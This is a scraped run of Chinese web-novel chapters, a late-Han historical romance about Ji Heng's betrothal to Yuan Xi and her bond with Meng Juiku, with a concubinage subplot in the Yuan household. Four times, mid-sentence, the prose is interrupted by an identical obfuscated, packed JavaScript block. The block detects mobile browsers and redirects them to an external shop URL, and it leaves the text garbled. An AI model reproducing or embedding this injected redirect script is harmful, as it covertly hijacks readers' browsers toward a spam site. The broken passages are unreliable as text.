季蘅一听,立马亮了眼睛,她摸了摸发髻,取下一支玉簪,搁在案面:“给!” “怎么?” “这簪式样虽素,玉质倒上乘。” “你也要问?” “嗯,就同我说说你所知道的有关曹丕的任何事。” “他如何你了?” “天机不可泄露!我问,自有我的道理。若这个不够,你直说,我过几日再添些。” 孟觉苦很意外,也实在想不通,季蘅为何偏对曹丕如此感兴趣,那不过是个不冷不热的半大小子,但既然收了她的簪子,便该知无不言。 曹丕,字子桓,司空曹操序齿第四的儿子①,卞夫人所出,那是个喜怒不定但聪慧进取、坚韧勇敢的少郎,年纪轻轻,文武兼备,不仅博览经典,有诗才,又擅骑射,自幼跟随父帅南征北战,出生入死…… 简单听了一些,季蘅却不由半信半疑地打断:“喂,莫非因为是亲戚,你就只捡好的说吧?” “我与他今生难再相见,何必溜须拍马?” “那可说不定……哎,夸奖的话适才听够了,曹丕他就没有什么致命的弱点?或者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14250078|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把柄?” 孟觉苦瞧着她那副认真严肃的表情,倏忽想笑,又思量了半天,只憋出一句:“他虽吃得苦,但更喜欢吃甜食。” 唔,到底还是小孩子心性嘛。 季蘅居然满意地点了点头,心里喃喃道,多吃糖好啊,最好吃得满嘴的蛀牙,干一次坏事,牙神经狠狠痛一次,活该! 接着,她不忘问出自己最关心的问题之一:“那他长得……呃,不算太难看吧?” 从小到大,从今到古,季蘅唯一不变的就是审美肤浅,喜欢帅哥美女,尤其是在恋爱方面。所谓巧取豪夺,那门槛,必然是得长相过关。 如果曹丕只是个獐头鼠目的丑类,她即便死心认命了,估计也会在圆房时,条件反射地把人踹下床,或者直接反胃呕吐。 但孟觉苦明显对这个问题感到慑愕,怔住了半晌,然后有些拘谨地说:“你觉得在下的相貌如何?” 血脉相连的兄弟间自然是相像的,季蘅明白他的意思,却未直言,只轻轻哦了一声。 她暂时宽心,没兴趣继续聊什么曹家人,又从这虎仗斋挑了几卷书,准备今晚守岁的时候打发时间。 今儿是除夕,甄府热闹非凡。 甄尧热情好客,见谢容允孤单,邀他一起过年。 那人却婉拒,只叫田匏随成禄、卢宽他们侍仆一起搭伙,自己则找了家酒楼,临窗对月,草率吃了顿年夜饭。 一碟白菜扁食、一道蒸碗子、一壶陈年窖酒而已。 院落内热闹得很,店家于门前垒起红柴,邻里聚在一块喝酒侃天,小孩子绕着长席周遭相互追逐嬉戏。 时常贪恋这份家常的喧哗,瞧着漫漫冲天的火光点亮了孤凉衰落的夜色,心底也添了些暖意。 待最后一颗扁食嚼落饱腹,谢容允悠悠携着半壶凉酒,嗳着气下楼,去蹭个他们的喜庆和暖。 流云厚且分明,缺月危悬,怯生生地探出半截脸来。院子右侧有手艺匠人在表演影子戏,一阵锣鼓锵鸣,挺括透亮的白幕布上终于透出几只薄设设的驴皮小人儿,相继登场。 谢容允觉得怪有趣的,便也坐在最后一排的板凳上,佐着美酒,消遣时光。 只听唱腔古雅醇厚,正演起脍炙人口的“火牛阵”。 史载,周赧王三十一年,燕昭王联合赵、秦、韩、魏诸国,拜乐毅为上将军,举兵伐齐,连战连捷,打得齐国仅剩莒、即墨两城; 周赧王三十六年,燕惠王即位,坚守即墨的齐国名将田单先以反间计使其猜忌罢免乐毅,再屡屡诈降,迷惑燕军,最后用自创的火牛阵,击退燕军,乘胜收复七十余城,从此复国。 那皮影制得也细致,牛身涂满大红大绿的油彩,牛尾燃着熊熊火焰…… 许是时辰已到,锣鼓唢呐骤然一齐鸣响,地动山摇,吓得胆小的幼童捂住耳朵,钻进长辈的怀中。 恰此时,身旁有个玩闹追逐的孩子不小心摔倒了,谢容允随手将其扶起,幸好这小丫头一直笑嘻嘻的,也不觉得疼,便答谢般将手中的花灯赠予他。 而店家执火点染了塔状红柴,火苗猛地从柴火间隙中喷出,十分壮观,状若浮图,惹得观者兴奋激昂。 此举以图吉利,是谓“旺气冲天”。 冬夜雪色,与这满目的喧嚣热闹相印,最后融为一体。 42.醋意 建安四年春天,吕布身亡的消息终于传遍了冀州。 是说,去岁冬月,曹司空攻陷下邳,诛杀吕布、高顺,招降张辽、陈登;帮忙救回了刘备之妻,还不忘将秦宜禄花容月貌的夫人杜氏纳为己有。 季蘅戴着孟觉苦送的那只鱼戏莲璎珞,坐在虎仗斋的窗扇下看书晒太阳。 庭院里的两株玉兰已经开花了,一树皎皎甚白羽,一树粉紫如胭脂。丫鬟缦双偶尔会挎着个小篮子,拣拾被春风吹落满地的花瓣,预备送至厨房,请彭姑做蒸糕、煮米粥、打鲜汤,味道应当都好极了。 “愿赌服输。”这天,孟觉苦忽对季蘅说,“去年暮春在毋极时,你断言吕布定活不过冬天。事实也果真如此。我之前既然答允了你,言中有求必应。” 对方却不以为意地笑了笑:“没想到你竟还记着。” “想要什么你尽管提,不过需得力所能及,而非烧杀抢掠诸如此类之恶事。” “那真是可惜啊。”季蘅把头一歪,故意应声,也不再看他,望向了窗外的好天气,继而懒懒道,“春天来了,日头这样好,我们一块去西郊踏青吧?” 孟觉苦喜欢愣一下再发笑,他展露真情实感的快乐时,脸会变得皱皱的,就像被风吹乱的池水。 “好。” 前阵子孟觉苦生辰,季蘅给他定制了一身贵气的银白窄袖锦袍,平日里懒得穿,更没个恰当时机,只压进箱底藏好,现下要出门了,非逼着他换上。 细致打扮了一番之后,这两人凑近站在一块时的般配模样,可谓珠联璧合,横竖怎么瞧都像是对光彩夺目的新婚美眷。 “您不用先知会三郎君吗?”缦双的神色间有些担心。 娘子只告知长辈过几日要用车马出游,唯独没提还带上了孟家侄儿。 季蘅却满不在乎:“我领什么侍婢下仆出门,何时还需征得他首肯了?” 话虽如此,缦双仍觉得不对劲,又说不好到底哪里不对。 城西郊有座彤山,地势不算高,贵在景致幽静,春时树木蓊郁,草长莺飞,百花妍开,一片勃勃生机。 彤山深处找到间红檐的过溪亭,其下水流潺潺,四周布满乱石茂林。 细宝、绫戈入亭铺席,并从提盒中取出丰盛的果肴酒菜;卢宽见溪流中有小鱼,自告奋勇削了根长竹竿去捉。 季蘅则与孟觉苦闲步山间,观景谈天。 “……那棵树生得比旁的英挺些,叶芽竟是红的,方才离得太远,还以为是小花。” “此树名为连香树。橙青金红,一季变换一色,确实美丽。只可惜那株长在山谷中,不能再靠近了。” “为何可惜?” “连香,顾名思义,它天生具有一股甜香,只要摇晃枝干,或揉搓叶子,更甚,百米可闻。” 闻此,季蘅不免有些心动:“真不错,以后有机会,我也要在自己院里种上一株。” “瞧,”孟觉苦忽又道,“那只戴胜展冠了。” 顺着他手指的方向瞧去,季蘅发现了一只粉橘色的小鸟,喙尖而长,头顶如扇华冠,翅膀黑白错落。 “好可爱。” “远观可以,你千万别也想养,”他笑了笑,“此鸟名唤戴胜,瞧着光鲜亮丽,实则臭不可闻!记得以前,有次随好友外出打猎,正礼就被这小家伙冲撞了,叫他哭着喊着在附近的溪水边洗了少说有半柱香的手……” 季蘅不知怎么的,望着正绘声绘色讲话的孟觉苦,莫名冒出个僭越的念头,若眼前的人是曹丕就好了,嫁给他,至少有话聊,而这副俊朗长相也是自己喜欢的。 但很快,她又否定了这个荒谬的想法。 倒不是因为其它,若是孟觉苦娶了自己,温存数载,又爱上别人,最后还能翻脸无情地赐下毒酒……除了畏惧憎恨,那一定会更令人伤心吧,便是这样想想,她就已经能感到一阵若有似无的惆怅。 “怎么了?” 季蘅不好意思地摇摇头,笑应:“听你的,不养。” 孟觉苦虽注意到她那一时的失神,却也不好点破,两人已行至山角,往下视野空阔,所望蔚为壮观的苍茫云海蒸腾,登高望远,一望无际,释怀竟就在这瞬间。 “年轻气盛时,自分是那扶摇而上的鹏鸟,览尽万里江山,搅翻时势风云。”他长叹了声气,感慨,“可如今再看,天底下从不缺少翻云覆雨之士,而我实不过一蝼蚁,苟且偷生。” 季蘅亦深吸一口山间清新的空气,笑道:“晴霭浮岚,福地洞天,我见犹感快慰,岂你一人偷生眷恋?” 两人杳然对视,心意相通,不必再多语。 直到夕阳将落之际,他们一行才恋恋不舍地打道回府。 可老天偏喜欢制造尴尬的巧遇。 季蘅与孟觉苦前后才下马车,做客甄府的袁熙正好从门内走出来。 今日是因登高游春,季蘅择了身轻盈的湖蓝色衫裙,发间未有珠饰,只简单簪了几朵绢花。 晚风轻柔,撩乱长鬓,她无意抬手别了别,低头露出温润的嫣然一笑。 若说以前像争艳的赤霞,眼下这难得一见的装扮却如夜之幽静,别具韵味。 “五娘子回来了。”送客的卢宽随口问候。 “嗯。”季蘅这才偏头瞧过去,并发觉了他身旁的袁熙,不由愣了愣。 这人却不像平日那般活泼了,此刻的脸色仿佛冷冰冰的铁块,他攥紧右手的剑柄,脸颊微鼓,似乎在咬牙切齿。 更奇怪的是,他的目光难得离开了季蘅,正凶狠盯着孟觉苦。 孟觉苦倒没什么敌意,恭敬地朝他颔了颔首。 季蘅默忖着多一事不如少一事,便没张口说话,只草草向兀立原地的袁熙行了个礼,继续往里走了。 “少将军,小仆扶您上马。” 袁熙却虚推了下手,有些不受用,他回头,盯着那些人快隐入黄昏的背影,表情越发难看,半晌,才开口问:“那人是谁?” “谁?五娘子身边的……您是问孟觉苦吗?” “与阿甄妹妹同游的公子。”袁熙莫名觉得此人很眼熟,却怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14258151|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也想不起他是谁。 “公子?哦,”卢宽释然笑了,殷勤禀道,“孟觉苦他只是我家的一个下仆,护院孟硕之侄。今日陪着娘子外出游乐。” “下仆?” “是,五娘子挺关照他的。自然,咱们娘子心慈貌美,待我等僮奴一贯都很好。” 可袁熙听了,仍有些不是滋味。 两人看上去亲近又般配,游乐时,又会做些什么…… 吃醋也罢,对方却是个身份卑下的奴仆,这叫什么窝囊事。 越想越觉烦恼苦闷,他的心就像被人倏地拧了一把,而后猛然收紧,留下的酸味似涟漪般一圈圈散开。 三月,易京最高的那座堡垒燃起了熊熊大火。 围困多时的公孙瓒穷途末路,选择了自焚,可惜他没有如愿变成星子,消逝在大火中,抑或化作所谓浴火重生的凤凰,逃离升天①。 他那烧得发黑的尸首被袁军找到。 袁绍傲睨得志,命人砍下公孙瓒的头颅,并将其往许都,赠与昔日挚友。 如今的诸侯分割之势已成定态,江东孙策,荆州刘表,益州刘璋、凉州韩遂马腾,辽东公孙度……而中原,便将是他袁绍与曹操的斗场。 这也意味着,时间离官渡之战越来越近了。 “您方才说什么?” “我说,”袁熙对甄尧一向是知无不言的,他坦诚道,“父帅如今终于解决掉公孙瓒这一顽疾,当是喜乐之时,我要向他求一桩婚事。” “您……该不会是指我家五妹吧?” “除了她,还能有谁?我对她的心意坚若磐石,至死不渝。难道你也不清楚吗?” 头回见他如此严肃,甄尧又想起自家妹子的倔脾气,忽有些胆颤,婉言道:“大将军才得胜而归,公子莫要太心切了。需得从长计议。” “我是急,只怕夜长梦多。” “公子,上回我已同您保证过了,那孟觉苦不过我家一寻常杂役,体衰积弱,难以为继,因识得几个字,才能与小妹攀谈上两句话,压根不值一提。小妹待他,多是怜悯,更无男女之情。若我无理将他赶走,到底……说不过去啊。” 听到这个名字,袁熙难免表现得不太耐烦:“不拘姓孟的在你家说什么,做什么,我都执意求娶弥儿!至于她现下愿意与否,我也全然不在乎了,先吃下定心丸,精诚所至,金石为开,往后总该变好的。” 他不愿再等,也等不及了,莫说季蘅另嫁,便是与旁的男子稍亲近些,都会叫人发疯。 事已至此,甄尧也没有相劝的必要了,自己是一直企盼与袁氏结姻的,唯独担心小妹会不痛快,冒险做出什么蠢事。 而季蘅又最是吃软不吃硬的。 “容公子再给我些时间,这几日先找小妹聊一聊,想她也是……” “聊与不聊,这是尧兄的家事,我管不着。”袁熙微微挑眉,已然势在必得,这恐怕是他这辈子做过最果断坚持的决意,“无论同意与否,当是我一厢情愿也罢,最迟下个月,袁家便要上门提亲了!” 43.认命 季蘅近来迷上了垂钓。 就在后花园的采湖边,她能漫然度过一整天。 “您上次交代的,奴婢已经查得差不多了。邺城东郊五里外有个桃刃村,夏龙雀就是从那头出来的。”细宝知无不言,言无不尽,“家中亲丁不多,一个瞎眼的阿姥,一个病骨支离的阿姐,再没什么远近亲戚帮衬,几乎全靠那份袁府三等婢仆的月给养活。哦,她如今就在袁尚公子的院子里打杂。” 季蘅望着波光粼粼的湖面,陷入沉思,半晌,她才扬竿,五味杂陈地吩咐:“既如此,挑个夏龙雀不在的日子,先偷偷给她家周济些,就说是其故友,若究问,只管拿出襄玉坊的名号,旁的再不许多嘴。” “娘子这是要……?” “我?”她云淡风起地笑了笑,“钓鱼呢。” 可惜今天的运气实在不好,从傍午至黄昏,直到兄长偷摸溜达过来探看,也没能收获半条。 甄尧背着手,有些不屑地打量了一圈,并抬高下巴:“钓了半斤水草,你这饵料莫不是有问题吧?” 背后冷不丁冒出声,叫专心致志的季蘅不住抖了下竿,这次鱼上钩更无望了。她略显恚怨地回头睨了兄长一眼,可能因为太久没动,后颈骤然袭来阵酸痛。 “你好烦。” “烦,从小到大我最爱惹你烦了。” 甄尧咧嘴讪笑,他总是这样没皮没脸,哪怕已经成家立业当爹了,在自家小妹面前,时而仍会袒露亡赖狡黠的本性。 “这样招惹你的机会往后怕是越来越少了,可得抓紧。” “有事求我就直说。” 闻此,他却意外安静下来,没立刻回答。许是刚才起了大风,季蘅发间落有一片不起眼的翠叶,他盯了会儿,遂抬手,轻轻摘去。 季蘅注意到这个动作,不由再次仰视甄尧,与之相望时,见对方的目光甚凄炯,并露出了黯然还有点惙怛的表情。 大事不妙。 四月的某个晴朗日子,袁家先遣了当地有名的严媒证登门说合议姻。那阵仗,至少能吵翻两条街。 得知此消息的季蘅,如常待在虎仗斋,左手支颐,无聊翻起《周髀》,好像对家中的热闹事不关己,连眼皮也没多抬。 屋内只她与孟觉苦两人,后者在整理兰台时,发现两卷被蠹虫损毁的书简,便安静地将内容誊抄在染过黄檗的纸上,并不多嘴过问其它。 倒是外头待命的丫鬟先沉不住气了。 “听说还是邺侯的意思!”细宝拧紧手帕,在廊檐底下踱来踱去,忧心沉吟,“娘子如何一点儿反应也没给?” 跨坐栏杆的卢宽被她晃得有些头晕,把嘴里叼着的芨芨草用力一吐:“咸吃萝卜淡操心。五娘子都不急,咱们瞎急什么?” “你再讲一遍?” 见细宝板着个臭脸,他果断认怂,忙笑着讨饶:“好姐姐,想必此事已是板上钉钉了。咱家女郎便是真不愿意,也无可奈何啊!诶,那日我在大街瞧见袁军得胜归来,两队铁甲连绵不绝,好不气派……谁敢贸然得罪?” 所谓一人得道,鸡犬升天。 嘴上说什么担心害怕,他们心里其实早就盼望着五娘子顺利嫁进袁家,大伙儿也能叨光。 “我只是觉得咱们娘子有自己的考量。”细宝倚柱坐下,叹气,“你不晓得,她的脾气最是倔了,有时甚至软硬皆不吃。莫说什么王侯、将军的,哪天就算昊天上帝来了,也强求不得。” “未必,我瞧五娘子那平静模样,倒不像要寻死觅活,绝不肯嫁的。兴许她只是害羞呢。” “哎,你不懂,如今这不声不吭的情状才更叫我担心!” 细宝一言两语也说不分晓,懒得跟卢宽这种含糊木讷的男口多费唇舌,干脆仰面闭目,默默感受那愈发燥热的日头。 终于捱到了午膳时间,她才小心翼翼地揭开竹帘,探身问:“娘子,厨房今日熬了锅川芎白芷鱼头汤,您是想在书斋这边用膳,还是回咱们院里?” “就布在这边吧。”季蘅这会儿正伏案胡乱写着什么,她以前就有个怪癖,神经特别紧绷的时候,喜欢去书店买本小升初的数学练习册,边做题边解压。 孟觉苦给砚滴添完水,静悄悄地坐到了她身边,淡然道:“你的笔锋太乱了,还是休息会儿吧。” 这句漫不经心的话竟像根针,戳破了季蘅佯装的镇静和无动于衷,她有些艰难地抬起头,竟已湿润了眼眶。 午时,两人并肩坐在大敞的长窗前,映入眼帘的是一片翠绿竹林。 季蘅失礼地抱着双膝,感受阳光的润泽,更想把自己缩成一团然后彻底消失:“我心里确实不痛快,但也无可奈何。” “你是怕拒婚惹恼袁氏?” 见对方说中她的心思,不免推心置腹:“甄尧之前找我聊过了,他坦言,袁熙决心娶我,已无转圜之法;若我实在接受不了,只剩一个法子,先装病拖延,然后再伺机逃脱。” “尧郎君肯讲出这样的话,实在难得。” “是,反而让我有些不好意思了。”她叹气,“就算跑,现下又能跑到哪里去?怕是没出几里地就被人逮回来了,何况,我不愿连累甄家。” 孟觉苦约略领会了季蘅的心思,转而言道:“其实看如今的局势,权衡利弊,嫁给袁二公子,不失为目前最好的选择。你那美貌可谓天赐的福气,却也是祸端。” 他不禁想起父亲叔伯身边车载斗量的姬妾,一个接着一个涌入后宅,好似蟠螭灯上的剪影,马不停蹄,络绎而至; 还有昔年攻打宛城,那位“害”得父亲功亏一篑的张济遗孀……她们是否心甘情愿,也没人在乎。 “倘能相守一世固然很好,若实在受不住,男人总归都是见异思迁的,你且忍耐几年,等他爱意阑珊之后,再随便找个理由和离——可效仿丁夫人。” “效仿丁夫人,”季蘅被逗笑了,喃喃重复道,“丁夫人,好啊,说得对。相处一年多,你是越来越了解我,也越来越爱抬举我了。” 谁都清楚,丁氏为何敢于顶撞位极人臣的丈夫,甚至坚持与之和离,除却本身刚烈倔强的性格,还有最重要的一点:她姓丁,出自曹操的母族,非常幸运地具备宁折不弯的底气和退路。 可旁的女子呢? 那笑容慢慢僵硬在嘴角,化作一弧哀伤的纹缕儿,她最后有些无力地泄了口气。 也不知袁熙对他父亲究竟说了什么,竟真答应向甄家下聘;而其母刘氏只瞧了眼身边直愣愣兀立着的温令磐,然后点了点头,主君已然开口,谁还敢有异议, “人生不过须臾,欢也如此,悲也如此。”孟觉苦倏忽看向身边的女子,郑重其事,“凡世争渡,总能为自己寻得一条归路。” 良久,季蘅抬眼凝望身边的人,心头再次涌起那股莫名的情愫,仿佛长夏里簌簌作响、被风推开的金色麦浪,一阵一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267739|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵扑向未知。 更不清楚为什么,每回见到孟觉苦,每回都像是他们之间的最后一面…… 她不知不觉倾过身子,将手搭在孟觉苦的肩头。 麻布料,粗糙,坚韧。 对方微微颤了一下,仅有那么一瞬的动容,很快避开了目光。 为了避开命中注定的劫难,季蘅其实打过将他招赘为婿的念头,虽然只是雪涛卷涌出那点点银沫,于事无补,又转瞬即逝。 “大道理真多啊。”女子笑了笑,似乎眼中泛泪,又十分无礼地抬手掠过他的耳廓,恣意道,“气渴了,速去与我沏盏热茶。” 半晌,孟觉苦覆上自己滚烫的右耳,才慌张爬起身。 季蘅亦不去看,叹息:“哎,谁叫你白龙鱼服,活该被我这虾兵蟹将使唤欺负了。” 历史真的没法改变吗?倘若不能,何必省下碗孟婆汤,害我辛苦走这一遭…… 那天夜里,回到集芳院的季蘅一直在发愣,好像再努把力,能逼得自己元神出窍,成功逃离这鬼地方。 婚嫁之事,婢仆无法解忧,只埋头伺候,干焦心,好在二嫂邓端难得抽空过来了。 当下薛婉和霍逦可不敢贸然前来“贺喜”的,都知道五娘子心里很不愿意,她们更怕自己因为太开心不住笑出声,而招致对方怨恨。 “阿嫂近来气色越发好了。” “也多谢你常寻些名贵药材,不时陪我解闷。” “举手之劳,阿嫂切勿挂怀。”季蘅已经沐浴完,只穿单衣,披着头乌亮的秀发准备歇息了,她啜了口酸枣仁汤,接着说,“刚好您亲自过来了,前阵子我在街市买了许多漂亮的香盒,正想给嫂嫂们送去几只,权当针黹盒子用。——缦双。” 邓端连忙喊住,并覆上她的手,说起正事:“五娘,过几日袁家就要纳采了。” 季蘅愣了愣,然后才明白,甄家已经答应了这门亲事,不日便要正式纳采择之礼。 “莫怪我等没先与你商议。严媒婆嘴上奉承,句句动听,那弦外之音却是冀州姓袁,只得俯仰随人。”邓端发自肺腑地叹了声气,“委屈你了。” 季蘅摇摇头:“竟这样快吗?” “婚事便是定下,之后问名、纳吉、纳征、请期……要等袁家择定日子。至久不逾半载。” “那岂非只剩半年的快活了!” 邓端敛黛,抚了抚季蘅的手背,好言相劝:“嫁进袁府,只要你孝敬君姑、敬重丈夫,那便是去享福的。” 季蘅叹了声气,也不想二嫂多费神操心,便挤出个笑容:“如今要我嫁给谁都无所谓,只是要离了你们,心里总会念想。” “你这还算好的,咱家都在邺城里,即便嫁出去了,时时能再相见。”听闻小妹这样说,邓端也放心不少,于是打算起身离开,“好了,夜深了,我不多扰你,还有什么话明日再谈。” 一旁的缦双连忙将三个用绳子摞好的香盒奉上。 “多谢你时常挂碍我。”邓端说,“念珠,就取顶上头那个竹纹的吧。我也用不得许多。” 季蘅瞧着她,忽想起什么,不自主地开口道:“阿嫂,您窗前那盆蝴蝶花既已枯朽许久了,空放着也怪可惜的。若有缘再入眼旁的花花草草,可以同弥儿讲,我助您换一株新的。” 邓端是个聪明人,听得懂那话中的别意,她的背影微僵了僵,而后回眸,露出百感交集的笑,并轻点了下头。 44.纳妾 这桩婚事便算正式定下了。 第二日,张老夫人唤季蘅至堂前训话。 先是万般不舍地揽涕,唏嘘多年辛苦拉扯五个女儿长成,如今连最后一个小的也将离自己而去;但很快话锋一转,感叹起袁家是何等的钟鸣鼎食、富贵荣华。 又说:“吾儿,今番你属高嫁,切记收敛脾气。那边章程森严,不比在自家肆意,少有人会惯着你的小性子,需得时时屈节卑体,合乎规矩。” 再然后,无非就是交代些主母的当家之道,如何上敬公婆、下合妯娌,如何料理内务、打点妾仆…… 张氏一反常态地口若悬河,恨不得将毕生经验都传授给小女儿,全然不顾那丫头其实志不在此。 言者谆谆,听者邈邈。 昨晚添了嫁人的愁绪,季蘅是辗转反侧,始终难寐,好不容易睡着了,又是一个接一个的混沌噩梦……这会儿自然有些昏昏沉沉,听不进太多咭咧呱啦的现成话。 她低着头,盯劳了袖边精致的茱萸纹,心思飘忽不定,哎,腰酸,跪坐久了腿好麻,哎,有点饿,想吃香喷喷的重阳糕。 可小满的苦菜才下肚不久,当前距离九月九还太远了。 忽听得几声清脆啁啾,应是衔泥筑巢的新燕。正当建安四年的槐夏,阳光和舒,纱窗外一片欣荣之景。 而今汉室倾颓,纷争四起,任强者兼并天下,那盛况亦如百花齐放。 其中佼佼者,当属邺侯袁绍,坐拥十数万精锐,虎步黄河以北,帐下不乏谋臣猛将,粮多草广,绰有余裕,其势堪比猛烈的火卷风,可望不可阻挡。 但即便是这样首屈一指的诸侯,家宅也未必安宁。 一场宿醉醒来,袁尚头疼欲裂,只是这次,不该他闯祸,反倒成了“遭觊觎”的,现下,他缄默坐在院子东侧的藤架下喝葛花泡水。不远处,两个仆僮正陪着年幼的小公子蹴鞠。 四弟袁买整个冬天都缠绵病中,养得像朵蔫蔫的栀子花,脆弱又瓷白,也不知怎么的,这一开春,精气神儿忽然好了许多。 好些人殷切奉承,都道是二公子的大喜化解了凶煞。 袁尚却不以为然,反倒觉得那位未来嫂嫂甄氏与自己相克,自打遇上了她,便开始诸事不顺。 “三公子。”瞿妙兰过来奉上了几碟糕点,“您先用些填肚子,刚出蒸笼的,正冒着热气。” 他闲适地打了个哈欠,眯起眼睛,笑问:“阿母不会还在为难温表妹吧?” 瞿妙兰不由压低了声音,含糊道:“常言道,妻贤旺三代。婚嫁之事,当是要好好商议的。” 自打袁熙与甄家订亲后,刘女君挑了个时机知会了温母,说,木已成舟,算这两个孩子没有缘分,但咱们还是表亲,以后照样常来往。 对方却不太懂眼,直愣愣追问,那二公子不行,不是还有三公子么? 闻此,刘氏愀然改容,冷眼嗤笑道,你不晓得,前日子邺侯要给尚儿说合亲事,是曹司空家的女郎,夸得那叫个千般万般的好,可我却有些推托,单嫌他祖上是浊流宦官出身;这群孩子里也就只有霈儿的婚事称得上珠联璧合,弘农杨氏到底是根蒂深固的大望族! 说完,还轻蔑地瞥了自家堂姐一眼。 言下之意很明显,达官显贵的女儿都未必瞧得上眼,你们这些乡野的小门小户又算什么东西玩意。 温母也是娇生惯养长大的,哪曾受过这样的讽刺,脸子一下拉得很难看,直言,是,比不过您最命好,活活熬死俞夫人,被邺侯续了弦…… “啪!” 屋内传来一记括辣辣的响亮耳光,这次袁尚听得很真切,但他只是带趣儿地笑了笑,顺手将碗搁回石墩上,仿佛事不关己,避之不及。 又改口道:“也对,行了那般下作之事,便是自家人也断不能轻饶。既然阿母她们正忙着,我这边没什么大事,就先走一步了,后晌还得随父帅去演武场练兵。啊,劳烦兰姑姑帮我把话带到,昏时再亲自向她老人家问安。” 说完,他便起身离开,不忘同四弟打了声招呼,而后回到自己院里补回笼觉。 关于袁尚的婚事,刘女君是偏心到了极致,还曾试探袁公,提起汉帝唯一的姐姐至今未曾婚配。 袁公彼时还属意与微年时的故友结姻,只笑说,夫人好没远见啊。 刘氏沉吟片刻,却傲慢道,里子咱家又不缺,宁肯争个天大的面子来。 可惜到最后她也没能如愿,那位心心念念、封地“万年”的尊贵公主竟因惊悸,死在了去岁的隆冬,殁年十八。 而此刻,跪在自己眼皮底下,抽噎不止的小女娘,更叫人头疼。 温母被拒绝后,越想越恼也越糊涂,冒险使了腌臢手段,狠心将女儿送至喝醉的袁尚榻上——不过那厮已是烂醉如泥,根本动弹不得,最后也就无事发生。 可刘氏满口白牙都快咬碎了,本是给老二相看的媳妇,非但没被瞧上,还胆敢染指老三了,实在痴心妄想! 一旁的敏成夫人缄口不言,她属于无利可图就不闻不问的性子,对没用处的可怜虫无半分仁慈可言。 倒是素来胆小的宿氏感同身受了,忍不住开口相劝:“女君,事已至此,再责罚温娘子亦是无用,不若就成全这段阴差阳错的孽缘罢。” 却未料刘氏听后勃然大怒,就因为这桩上不得台面的丑事,竟连宿氏此等卑下之人也能在自己跟前唧唧歪歪,以后还怎么得了。 “好啊,既然有人脸都不要了,巴巴儿赶着贴上来,”她盯向令磐哭得红肿的眼睛,直接扯掉所谓的亲戚情分,叱道,“你母亲不是看不起续弦么?那就成全你个更好的!” 所谓成全,却是要温娘子许给袁尚当侧室。 袁尚显然不介意自己院里再多几名温柔美貌的女子,他对母亲向来唯命是从; 邺侯不爱过问后院之事,一则北方未定,精力实在有限,再就是表面上对妻子的信任和礼重; 温母更是乐观,邺侯乃一方霸主,诸侯中的翘楚,若等来日袁尚顺利袭爵,女儿前途可谓光明; 至于温家其余长辈,哪里敢有所怨尤,能攀附汝南袁氏,已算祖坟冒烟了…… 此事便由刘夫人全权敲定。 纳妾无需三书六礼,只一顶小轿,就把人从一个不见天日的院子,像运货物般,挪到另一个不见天日的院子里。 过程之简单,比不得兄长的明媒正礼,但仔细想想,或许也算殊途同归。 袁熙那边,刘氏操持得颇为上心,毕竟是亲生儿子的大婚,甄家也非小户,纳采的聘礼她样样都得过目。 问了名和生庚,接着便是合八字卜吉。季蘅如同砧板上待宰的鱼,濒死挣扎了最后一摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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季蘅一见,果然欢喜,可笑容刚漾开了波纹,才迈开两步,却被人戳了下额头,薛婉挑高一边弯弯素蛾,打趣:“瞧,从小到大,你只管摆出这副表情,十有八九便是要琢磨坏事了。” 又挥挥手,吩咐后头的奴婢将裁制好的婚服呈了上来。 “来,先试一试,若有哪里不合身的,还来得及改。” 这玄黑间红的深衣,是邓端亲手带着几个江南绣娘一块做的。 交领、宽口袖、曳地长裙……是因考虑到婚期在盛夏,布料选的轻薄柔软,叠了多层也不会太热。 “好。”季蘅张开手臂,只当自己是个无助的布娃娃,任由她们打扮摆弄。 薛婉瞧了眼被丢在案几上的胜冠,笑道:“这就嫌沉了?” 她伸手捋了捋季蘅有些凌乱的头发,继续说,“等迎亲那日,还要戴那假髻和满是珠花的足金步摇冠子,届时再难再累,你也只能悄悄咽下肚子。” “知道了。” 